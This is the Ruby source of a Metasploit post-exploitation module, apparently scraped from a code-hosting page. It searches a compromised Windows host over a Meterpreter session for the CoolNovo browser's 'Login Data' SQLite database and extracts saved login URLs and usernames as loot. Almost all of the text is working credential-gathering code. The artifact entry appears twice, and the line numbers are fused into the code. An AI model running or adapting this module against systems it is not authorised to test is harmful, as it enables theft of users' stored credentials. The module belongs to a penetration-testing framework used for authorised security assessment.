Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/coolnovo.rb
Views: 11704
# frozen_string_literal: true12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Post8# this associative array defines the artifacts known to PackRat9include Msf::Post::File10include Msf::Post::Windows::UserProfiles11include Msf::Post::Windows::Packrat12ARTIFACTS =13{14application: 'coolnovo',15app_category: 'browsers',16gatherable_artifacts: [17{18filetypes: 'logins',19path: 'LocalAppData',20dir: 'MapleStudio',21artifact_file_name: 'Login Data',22description: 'CoolNovo saved Username and Passwords',23credential_type: 'sqlite',24sql_search: [25{26sql_description: "Database Commands which exports Coolnovo's Login data",27sql_table: 'logins',28sql_column: 'action_url, username_value'29}30]31},32{33filetypes: 'logins',34path: 'LocalAppData',35dir: 'MapleStudio',36artifact_file_name: 'Login Data',37description: 'CoolNovo saved Username and Passwords',38credential_type: 'sqlite',39sql_search: [40{41sql_description: "Database Commands which exports Coolnovo's Login data",42sql_table: 'logins',43sql_column: 'action_url, username_value'44}45]46}4748]49}.freeze50def initialize(info = {})51super(52update_info(53info,54'Name' => 'Coolnovo credential gatherer',55'Description' => %q{56PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.57PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.58Further details can be found in the module documentation.59This is a module that searches for Coolnovo credentials on a windows remote host.60},61'License' => MSF_LICENSE,62'Author' => [63'Kazuyoshi Maruta',64'Daniel Hallsworth',65'Barwar Salim M',66'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org67],68'Platform' => ['win'],69'SessionTypes' => ['meterpreter'],70'Notes' => {71'Stability' => [CRASH_SAFE],72'Reliability' => [],73'SideEffects' => []74}75)76)7778register_options(79[80OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),81OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),82OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),83# enumerates the options based on the artifacts that are defined below84OptEnum.new('ARTIFACTS', [85false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|86k[:filetypes]87end.uniq.unshift('All')88])89]90)91end9293def run94print_status('Filtering based on these selections: ')95print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")96print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")97print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")9899# used to grab files for each user on the remote host100grab_user_profiles.each do |userprofile|101run_packrat(userprofile, ARTIFACTS)102end103104print_status 'PackRat credential sweep Completed'105end106end107108109